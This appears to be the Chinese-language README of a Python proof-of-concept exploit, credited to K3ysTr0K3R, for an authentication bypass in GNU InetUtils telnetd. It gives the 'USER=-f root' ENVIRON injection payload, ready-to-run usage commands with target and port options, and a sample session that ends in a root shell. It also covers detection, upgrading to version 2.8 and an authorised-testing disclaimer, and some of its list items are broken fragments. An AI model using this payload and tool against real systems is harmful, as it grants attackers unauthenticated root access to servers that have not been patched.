GNU InetUtils 1.9.3 至 2.7 版本中的 telnetd 服务器存在远程认证绕过漏洞。telnetd 守护进程在将 USER 环境变量作为命令行参数传递给 login(1) 程序之前,未能正确清理该变量。当 telnet 客户端发送包含命令行标志(如 -f root)的 USER 环境变量时,telnetd 会直接将该未清理的值传递给 login 程序。login 工具会将 -f 标志解释为绕过认证的指令,从而允许攻击者在无需提供任何凭据的情况下获得未经授权的 root 访问权限。
完整的 Telnet 协议实现
DO、DONT、WILL 和 WONT 协商。自动载荷注入
USER=-f root 注入的精心设计的 ENVIRON 选项载荷。交互式 Shell
连接管理
详细调试
python3 exploit.py <target> -p <port> [options]
| 参数 | 说明 |
|---|---|
target | 目标 IP 地址或主机名 |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
建立连接
协议协商
SGA、ECHO 和 ENVIRON)。载荷投递
WILL ENVIRON,随后发送精心构造的子协商载荷。认证绕过
-f root 参数注入 login(1) 以绕过凭据检查。交互式会话
该漏洞利用 Telnet 的 ENVIRON 选项(RFC 1572)将命令行参数注入 USER 环境变量。
当 telnetd 将该未清理的值传递给 login -f root 时,login 程序会将 -f 解释为强制绕过认证的标志,从而在无需密码验证的情况下授予 root 访问权限。
该漏洞利用脚本实现了:
WILL、WONT、DO、DONT)NOP 命令$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
系统管理员可以通过监控以下内容来检测利用尝试:
ENVIRON 选项协商的 Telnet 连接。-f 或其他命令行标志的 USER 环境变量。升级到 GNU InetUtils 版本 2.8,或应用官方安全补丁,该补丁会在将环境变量传递给 login(1) 之前对其进行清理。
此概念验证仅用于安全研究、漏洞验证和授权测试环境。仅可针对您拥有明确授权执行安全评估的系统使用。
| 选项 | 说明 |
|---|
-p、--port | 目标端口(默认:23) |
-v、--verbose | 启用详细调试输出 |
-t、--timeout | 连接超时时间(秒)(默认:5) |
-k、--keepalive | 保活间隔(秒)(默认:30) |
-h、--help | 显示帮助信息 |